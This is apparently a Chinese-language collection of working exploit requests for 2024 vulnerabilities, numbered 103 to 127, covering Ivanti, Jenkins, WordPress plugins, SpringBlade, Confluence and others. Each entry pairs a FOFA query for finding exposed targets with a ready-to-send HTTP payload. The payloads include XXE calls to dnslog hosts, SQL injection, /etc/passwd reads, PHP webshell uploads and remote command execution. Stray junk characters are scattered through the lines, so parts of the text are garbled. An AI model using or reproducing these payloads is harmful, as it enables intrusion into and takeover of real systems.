<ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
; J/ [: J% ?( x" _/ t, k3 pHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
! r$ x2 a, R# E) n+ x9 G1 _Accept-Encoding: gzip
% ]; w+ G( G) p9 ]
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
& h+ _8 l' Y% O3 n

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


; E7 @8 j5 `5 E4 ~$ i8 |104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
- R/ m: X4 Z' N0 D- @6 m1 ZFOFA：title="TOTOLINK"
# G7 a. j! |8 K, R" C/ PPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
3 @: R2 u# \5 E$ }+ v1 IAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
5 M7 x; q) L7 N4 w3 _User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
' I5 d5 x7 z8 {$ U6 lOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
- E+ Z( a) r, L9 ~3 ?9 Y% SAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
1 z$ g: {! z) {+ BConnection:close

; Z- X' w7 P; s3 e{
"topicurl":"getSysStatusCfg",
"token":""
5 O. H3 r3 y9 m) H9 q# |  w}

: _" y+ }( q1 ~: j3 A6 H. L& x105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
/ H4 Z& ~/ l% P! A  K3 J1 w! VFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
% ^& K% q9 v0 [+ C- H: |- ]Host: your-ip
/ e3 {) ]( b5 F7 d6 N, uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 E9 n* Q8 M: I3 b2 s. V- J+ IBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
3 t6 v5 ^) O; [8 f6 tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 v* a( g: E: O/ }
- k& N5 P" ]+ H& ^$ b; _2 c/ r: ^
6 O1 ]: E0 h5 Y# B6 P: E0 O3 c107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
: b) n/ m' J2 P5 n5 ~5 HGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 ~3 o0 o+ v/ U- N/ lBlade-Auth:替换为自己的
; y5 s( K; V7 P' I! ^Connection: close


* ]+ y7 D% S# }& l5 K/ b108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
& l$ c1 X8 T0 [4 BGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
7 g' M! X( I3 f. k1 ~1 N1 p8 JConnection: close
. g* n. k$ K+ R- @$ f& t
' [/ Q6 j0 }  T
109. Jenkins CLI 任意文件读取
CVE-2024-23897
5 ]1 w9 r* ]2 Z- t4 D5 EFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
3 x, L# z3 j' y! rHost:
. Q3 b4 o. o0 T3 R. k* AContent-type: application/octet-stream
5 s# k9 \# M# x0 wSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
  `' J- J% F+ ?Side: upload
Connection: keep-alive
Content-Length: 163
3 F( x. b1 I7 u# c2 D
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

! g" K0 \. E$ B+ `% X" g; i/ }
% X$ ^& i. C5 p- o8 s$ N9 tPOST /cli?remoting=false HTTP/1.1
Host:
) j0 z+ y4 f& p: E$ x( D7 ASession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


  v. G  X2 V+ f, ?! ^ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
1 b& ], S+ F/ h3 u8 m[COMMAND]
) A. _5 x) P- T  k- PLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

! {3 e, @  P. U5 W0 Z& B7 n9 z% T/ G
. a7 j/ b0 l' g; e9 c  K  P, A6 s; \110. Goanywhere MFT 未授权创建管理员
) V0 e4 I7 I) w3 r* x! O/ tCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
: o4 z( z5 q* s5 d4 R' M- XHost: 192.168.40.130:8000
4 ]$ A' [# @. u  N3 kUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
  |# i+ @( i. y6 t- YConnection: close
Accept: */*
0 \% ]# x% A$ aAccept-Language: en
Accept-Encoding: gzip


7 v1 s* |  z; M4 G) @! v  I111. WordPress Plugin HTML5 Video Player SQL注入
5 V' z7 J/ |9 F! @CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
! e1 z3 P5 T* j! i* lGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
. x3 U/ M- `6 H6 a1 M) J2 _Host: 192.168.40.130:112
2 Q# R: c8 |( D, v, j  s  Z2 \1 iUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
  l; W# J: w6 bConnection: close
; R1 X8 G* D% z( gAccept: */*
8 S: v% [5 M$ O$ i# CAccept-Language: en
+ b) {/ \4 w, X$ u9 GAccept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
3 N5 E7 S* ^2 \" l0 o2 PFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
+ v" |) s" o+ \# @
; |- U' P! _5 V' c% c# T{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


6 H) ~3 `% z; O6 N113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
3 H8 D" g  P& LFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
, L; S4 d# |) C( |4 kAccept-Language: en
" |9 e& M3 L8 F2 P& u: SAccept-Encoding: gzip

2 ~( ]. N1 W3 @  y% W
, f+ m4 l2 l* e% \114. WordPress MasterStudy LMS插件 SQL注入
) A. Q8 K1 W1 Q9 x4 C! E' w9 XFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
( Y2 M( o) c0 K; yGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
* A6 D( ~( i, A3 r2 q% I) CHost: your-ip
- b2 x9 U" O2 r1 g1 S7 S: t1 W$ ]User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
7 j8 b; s: `+ w: M0 p$ MAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
* g* K7 f7 T* ~  h2 B

115. WordPress Bricks Builder <= 1.9.6 RCE
0 m+ h5 s: S1 W% L/ N  ^CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
+ |- I- I7 L4 o) p6 h第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
/ f, l# R. m: O' K5 Y* g& UUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
& C# X  Y" V& |3 Z/ |- LAccept-Encoding: gzip

% J: o1 E$ Y4 F! U  C0 U
( _" T! ?8 R! T* B+ @: i) A7 s第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
( t# e& P+ p: \" \8 CContent-Length: 356
" _3 c& O1 \0 _9 o' B* eContent-Type: application/json
Accept-Encoding: gzip
2 O. g8 ]. m( E& s# N% b0 N1 {
5 l" c) G% O2 n! T0 U5 U" p9 g( L{
"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
    "settings": {
" a& t2 A" v  m+ `) s+ L* i      "hasLoop": "true",
      "query": {
( I" }' `, h3 H$ f5 O2 G- U7 d        "useQueryEditor": true,
' S) D: o0 K7 r+ m        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
9 ]" f# h; O% v& |% ^) o/ \9 b" I3 l      }
    }
- V% ^9 P( K9 q2 g" }" J1 X  }
}


. v8 y; ^9 b$ e. [& E# I: a116. wordpress js-support-ticket文件上传
/ B! s  q* e- p& |( E7 q8 TFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
2 T( O" F0 I- w) ~; J/ e- z. \Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
3 z8 q* `  @8 D: O/ X' f- _% r
7 z; K. w7 C6 j& g----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
/ W( O9 T/ R* \6 A" I  \: D% Z3 YContent-Disposition: form-data; name="form_request"
% z& m& @$ B. y9 u  T. p7 }6 U/ ~jssupportticket
----------767099171
4 @6 d  g, W/ T/ Z, ^1 N, qContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
  |, g6 n7 s$ r8 U/ O, q7 Z

* r; P- V' w2 T117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 m" v8 F( A; D9 C$ ~- gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) ~! d, X  f6 h. }5 [2 X& {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
! C3 y: {0 Z! e3 [3 ~Connection: close
% h! Q" T  s3 f1 J) YUpgrade-Insecure-Requests: 1
" I) O9 f. f% s8 v. ^  t
( k; ^: h# F- V$ q; [! H- H
! ~5 e& ?: w+ W% }$ R  L118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
* u/ R; D" c  V3 mFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
* Q/ o% A) G8 P5 h6 X; sHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
6 s. J6 _  g, ~2 N7 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
! a4 D6 {6 c1 oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; N' [9 G, g2 M( M  ~3 {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: d1 Z; U. O" s8 VAccept-Encoding: gzip, deflate
& m7 V% j9 Q5 q4 g9 tContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
" y% }8 w4 }, ]/ V) p, ?, ?Origin: https://192.168.40.130:8443
/ ~* k( v8 ?8 {& d8 [4 ^- mReferer: https://192.168.40.130:8443/Tool/uploadfile.php
9 A* x8 \- I$ T4 s3 i2 nUpgrade-Insecure-Requests: 1
' B# @  m: \. c, W' eSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
. R+ M: N9 ^& N/ H/ ESec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
0 A9 Y4 {$ f( U5 _5 E% C
  {3 L6 @: W$ o- L3 ~-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
+ P* ?! S" ~9 q% N1 uContent-Type: application/octet-stream
4 q! e, L: R7 K7 J2 w
5 f/ z' f$ R4 f/ {4 N" _2 J7 Q<?php
- }/ D% l* P# T: q& usystem($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

/home/src.php
7 d" j5 ~6 S; |5 N  Y5 i-----------------------------13979701222747646634037182887--

) m9 ]2 E2 Q& e5 g7 P* y
  E" E3 ~! p2 K. K0 `1 c7 Y& O8 o访问/home/src.php
7 g7 L" s/ p8 r, \
119. 北京百绰智能S20后台sysmanageajax.php sql注入
! n( k. A+ Y! I6 P2 h4 VCVE-2024-1254
' K- _$ h0 M/ G" Y7 @( wFOFA：title="Smart管理平台"
4 G1 K5 D/ T2 E7 t. Y先登录进入系统，默认账号密码为admin/admin
+ O0 ~& Y" x8 H' ]POST /sysmanage/sysmanageajax.php HTTP/1.11
2 \; \" y7 l. aHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
* C6 ^  ^8 B1 a+ H# s* w& m- U# t! nAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
% m# a  E8 L4 H$ p8 \6 S- EReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
1 p6 x" D0 u  X2 r- z% M/ iSec-Fetch-Dest: empty
! l# r% Y, l- P& _8 nSec-Fetch-Mode: cors
8 @! `3 j8 X2 [# ]Sec-Fetch-Site: same-origin
# ~+ B' S; K. K- o& P5 y& KX-Forwarded-For: 1.1.1.1
3 l2 k' j8 x1 W; \( b6 a8 EX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
" j% g5 g9 M+ M( `Te: trailers
Connection: close
# d9 k6 g4 v4 T# I- |* q
+ [. E1 a* ]" v# S- `2 ]8 Hsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
; k( u& O. f$ s+ y! v# J
9 k4 e+ X1 ]! u, n1 l( j/ K  \. l
/ J5 x3 M3 j. {0 S7 j" O- A8 n120. 北京百绰智能S40管理平台导入web.php任意文件上传
: s6 b( K7 V+ a1 [: t& N6 _CVE-2024-1253
- ]8 H( N$ K3 n  a, g* zFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
- l$ p' r. Y$ P* Q2 U% hUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! W( _" P. ~7 \3 t; J+ g; |! ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
9 N9 ~! [$ g0 pContent-Length: 597
) G; X! s# W  ]( ?) x3 q4 COrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
9 P  M3 _& ^" }: LSec-Fetch-Dest: document
6 ^; u) t2 D: Q; Z5 k; t, \# t; iSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
- h8 ^2 _3 G  j8 }* ATe: trailers
) X( I7 y- H) ?  \. j( i' L/ V% YConnection: close
  d% `" e) D& F! w
2 \3 A, {7 C) Y-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

7 D& g: J8 S+ a& L1 [<?php phpinfo()?>
( z5 Y, y/ P( e% q-----------------------------42328904123665875270630079328
) \( f0 s" v* a$ m# L2 u" hContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
. `1 T! ]! C% L
1_radhttp
. i- i& I# \+ W- D-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

import
3 E- A' \3 r7 s- r" b' w8 Z+ D" K-----------------------------42328904123665875270630079328

, o( Z+ Z/ t' E
文件路径/upload/2.php

/ N) Y  e5 G/ F0 u% M# c! c; ^121. 北京百绰智能S42管理平台userattestation.php任意文件上传
' ?/ [- N% H  sCVE-2024-1918
/ \  y6 R  }. k0 E2 nFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
# Y# _, z( k; _$ nHost: 192.168.40.130:8443
* l1 v( K$ ^* c1 {Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
" a% s) ]/ D- p8 J7 b* a9 M$ y+ F( WUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
$ T$ a* L: q2 }2 R; O! G/ V0 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
/ ]3 b( p4 L6 a0 q( K2 {Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
# P  i/ G8 @! g0 hOrigin: https://192.168.40.130:8443
6 p* {8 R9 j: C- N  A, M- rUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
( t1 y  T# |% ]3 [+ e' DSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
* J# _5 `% @7 dSec-Fetch-User: ?1
Te: trailers
Connection: close
, _, W2 A9 q5 n' l  P% z' u
-----------------------------42328904123665875270630079328
& S8 {# @- z/ l! gContent-Disposition: form-data; name="web_img"; filename="1.php"
! _- v7 j4 k9 E4 e" r8 XContent-Type: application/octet-stream

- A$ Z2 N# m1 W- S8 w: }2 n<?php phpinfo();?>
7 K2 v6 h9 d+ a/ g" i* C-----------------------------42328904123665875270630079328
# S6 h0 Y' ?# _3 @8 YContent-Disposition: form-data; name="id_type"
! l. d$ M- s7 e
1
7 Z! d9 N0 D$ L-----------------------------42328904123665875270630079328
2 Q& h, Z' z  q; g, D- VContent-Disposition: form-data; name="1_ck"

1_radhttp
! d/ h& F, d4 f* g2 `- q$ B-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
, i3 {/ D. O1 T0 ], l4 ~
set
1 D9 w9 ]& ^% _-----------------------------42328904123665875270630079328


) v. t. P' r1 @& v* mboot/web/upload/weblogo/1.php
& j0 E5 F" x5 F) x2 a6 @: V
& @; E; J5 G/ N; q9 q, s122. 北京百绰智能s200管理平台/importexport.php sql注入
+ G3 ^8 x0 n6 [, _0 Z9 w6 fCVE-2024-27718FOFA：title="Smart管理平台"
; ~3 Z! ^* q0 F1 E. ]+ t其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
7 q+ s  P- L% wGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
! [: t! h$ _7 I/ c4 OCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
4 C& m3 z% v; B" {  ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, _! K" f& b" D0 aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
9 Y  n6 j, z: J6 o. y3 z7 M3 hUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
. n1 q! M5 d/ |6 ~% {3 G3 GSec-Fetch-Mode: navigate
/ A/ g9 W6 [8 U* n# cSec-Fetch-Site: none
Sec-Fetch-User: ?1
) f3 D' F6 Z: t! W7 c3 RTe: trailers
1 c* y' e7 T$ W, W9 n2 `Connection: close
) q8 M$ O  k9 S: p$ B$ }

123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
8 M+ a8 x9 j; q% a0 \5 ZHost: localhost:8090
7 F% J2 W3 f& j( }' t$ e: I8 DAccept-Encoding: gzip, deflate, br
+ T; c8 w" \2 HAccept: */*
! a' I, l8 {3 L1 n# Q/ c' S1 XAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
) y5 O4 }- c+ X3 _Content-Type: application/x-www-form-urlencoded
2 ?4 z$ S- F3 x* s1 p
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
+ s, L$ `. |# \) g7 c  m+ T

124. 湖南建研工程质量检测系统任意文件上传
+ F2 o4 V0 i; a% R2 S: yFOFA：body="/Content/Theme/Standard/webSite/login.css"
' I/ e# T( T4 M( @; r1 j" e, M5 vPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
& ^2 g: o4 }( ~& eContent-Length: 72
; J( p0 W+ Z0 \/ s2 R# Q, l5 }6 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: j5 U+ U7 t, t/ Z3 KConnection: close
Content-Type: application/x-www-form-urlencoded

4 l3 M: H4 \2 S# F8 X  g' U) G5 rfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

3 P5 U" V: w" D# m9 m; @( v& M7 |
! r  T* z1 M- a8 `8 C4 }4 a/ |( Z( Vhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
0 y; T8 q% X9 [  t, q) q& C- O
, \' r. L2 i8 D9 o% a2 U) j125. ConnectWise ScreenConnect身份验证绕过
& Y* x! `" K1 l; U0 M, MCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
# K- U# v" S3 `7 X1 `python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
- j+ m: \; v! F' g( |, a" B

+ s% H4 B) \: ^6 z! P创建好用户后直接登录后台，可以执行系统命令。
/ l7 y$ b4 x$ R2 B9 X6 }+ H! C
126. Aiohttp 路径遍历
5 \& T  L/ v- u7 P) KFOFA：title=="ComfyUI"
* I6 \! G  ~: r, D/ B3 C1 n4 ]GET /static/../../../../../etc/passwd HTTP/1.1
% s6 |( F3 |3 `( T  ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
7 M2 }! d- P0 w- ]# S2 CAccept: */*
& P7 p8 z% U) K$ {% xAccept-Language: en
Accept-Encoding: gzip

- N4 _" A# L. F- ?6 R( R+ ], [7 n9 b1 @
+ s0 X" M4 H! d127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
, y, @0 H3 J/ z8 E8 c- UHost: 192.168.40.130:8888
* t" v0 }& |/ u0 A" IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
- `! [, p% }' \+ X1 @Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# T5 N) D! D7 k7 D4 D) h# |Accept-Encoding: gzip, deflate
- w( f1 c- w" g, w7 ?; s5 iAccept-Language: zh-CN,zh;q=0.9
4 b5 X9 A5 T& TConnection: close
- v- _# k4 o5 E/ k# HContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
: i2 d$ F. f" KSec-Purpose: prefetch;prerender

) _( J7 \1 s' w* n4 ~: w------WebKitFormBoundaryJGgV5l5ta05yAIe0
, B  T. M  ^+ L& pContent-Disposition: form-data;name="SystemName"
4 m3 E: I& l  j2 {4 p) A$ _
* j9 \& j* B! F8 o1 Z/ SBIM
6 y8 v* t  s5 v: y  g) t# [* u7 ?------WebKitFormBoundaryJGgV5l5ta05yAIe0
  ?% O$ ]9 Z" C3 m& x3 \$ o0 I. ?Content-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
' y* o: L; V8 n! d# T]
>
<test>&t;</test>
